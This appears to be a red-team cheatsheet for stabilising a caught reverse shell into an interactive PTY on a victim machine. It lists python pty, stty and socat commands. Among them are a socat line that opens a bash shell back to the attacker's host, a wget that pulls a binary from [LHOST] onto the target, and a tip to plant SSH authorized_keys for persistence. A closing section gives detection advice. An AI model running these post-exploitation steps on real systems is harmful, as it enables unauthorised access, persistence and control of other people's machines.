π‘οΈ Methodology Checklist
- Upgrade to Python PTY immediately on shell catch
- Set raw mode and foreground:
stty raw -echo; fg - Fix terminal:
export TERM=xterm; stty rows [R] cols [C] - Test interactive features: tab completion, arrow keys, Ctrl+C without losing shell
- Alternatively: use
rlwrap nc -lvp [PORT]for readline support - Or: MSF sessions -u [ID] to upgrade netcat to Meterpreter
π― Operational Context
Use when: Unstable shell that drops on Ctrl+C or hangs on interactive programs β stabilize with socat, stty, or upgrade to SSH.
Think Dumber First: socat provides the most stable shell: socat file:tty,raw,echo=0 tcp-listen:[LPORT] on attack box, then socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[LHOST]:[LPORT] on target. This is a full PTY over TCP.
Skip when: Shell is already stable (Meterpreter, SSH) β no stabilization needed.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
python3 -c 'import pty; pty.spawn("/bin/bash")' | Step 1: Spawn PTY inside victim shell |
python -c 'import pty; pty.spawn("/bin/bash")' | Step 1 alt: Python 2 PTY spawn |
script /dev/null -c bash | Step 1 alt: PTY without Python |
[Ctrl+Z] | Step 2: Background the shell (returns to local terminal) |
stty raw -echo; fg | Step 2: Fix local terminal + foreground shell (run locally) |
reset | Step 3: Reset terminal state (type after shell returns) |
export TERM=xterm | Step 3: Enable colors and standard terminal behavior |
stty size | Check local terminal rows/columns |
stty rows 40 cols 160 | Step 3 opt: Fix shell size to match local terminal |
π¬ Deep Dive & Workflow
Why Raw Netcat Shells Are βDumbβ
A raw nc shell behaves like a pipe β no TTY allocation:
Ctrl+Ckills the nc connection (not the running command)- No tab completion, no command history (up arrow)
sudo,su,passwd,vim,nanodonβt work properly- Output can be garbled or missing prompts
The Complete Stabilization Sequence
# === ON VICTIM (inside nc shell) ===
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Prompt changes to: bash-4.2$
# === PRESS Ctrl+Z ===
# (shell goes to background, you're back at local terminal)
# === ON ATTACKER (local terminal) ===
stty raw -echo; fg
# Immediately brings shell back to foreground
# === ON VICTIM (shell is now interactive) ===
reset # or type 'reset' β may ask for terminal type, type 'xterm'
export TERM=xterm
stty rows 40 cols 160 # optional: fix size to match your terminalWhat Each Step Does
| Step | Command | Effect |
|---|---|---|
| PTY spawn | python3 -c 'import pty...' | Creates pseudo-terminal β allows TTY control |
| Ctrl+Z | β | Pauses remote shell, returns to local |
stty raw | Local | Passes all keystrokes raw to socket (no local processing) |
-echo | Local | Stops typed characters appearing twice |
fg | Local | Brings shell back to foreground β must immediately follow stty raw -echo |
reset | On shell | Resets terminal driver to sane state |
export TERM=xterm | On shell | Enables color output (ls, vim colors) |
stty rows cols | On shell | Fixes text wrapping if terminal size is wrong |
Fallback if Python Not Available
# Try script utility
script /dev/null -c bash
# Then proceed with Ctrl+Z + stty raw -echo; fg as usualIf stty raw -echo Breaks Your Terminal
If you accidentally run stty raw -echo outside a nc session and your terminal breaks:
reset
# or
stty saneWhen to Stabilize
Stabilize immediately after catching a shell β before attempting sudo -l, privilege escalation, or running any tool that requires an interactive terminal. Unstable shells silently fail on these commands.
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| socat not on target | Minimal OS | Transfer socat static binary: wget http://[LHOST]/socat -O /tmp/socat && chmod +x /tmp/socat |
| Shell drops on Ctrl+C | stty raw mode not set | Complete PTY upgrade: python3 pty β stty raw -echo β fg; Ctrl+C then passes to remote process not local |
| TERM variable not set | Missing export | export TERM=xterm-256color after getting PTY; tab completion and colors require this |
| stty raw -echo makes terminal useless | Forgot to fg | Always: Ctrl+Z β stty raw -echo β fg (in that order); missing fg = cannot see anything typed |
| Shell over HTTP only | Cannot upgrade | Use HTTP-based C2 (MSF HTTPS) or upgrade through file upload: drop SSH authorized_keys and SSH back |
π Reporting Trigger
Finding Title: Stable Interactive Shell Maintained for Post-Exploitation Operations Impact: Stable PTY shell session supports comprehensive post-exploitation including interactive enumeration, database access, privilege escalation via sudo/su, and file editing β capabilities unavailable in an unstable non-TTY shell. Root Cause: N/A β operational documentation. Recommendation: Monitor for socat and python pty commands executed from web application processes. Implement EDR behavioral rules for shell upgrade patterns. Alert on unexpected outbound connections from server workload processes.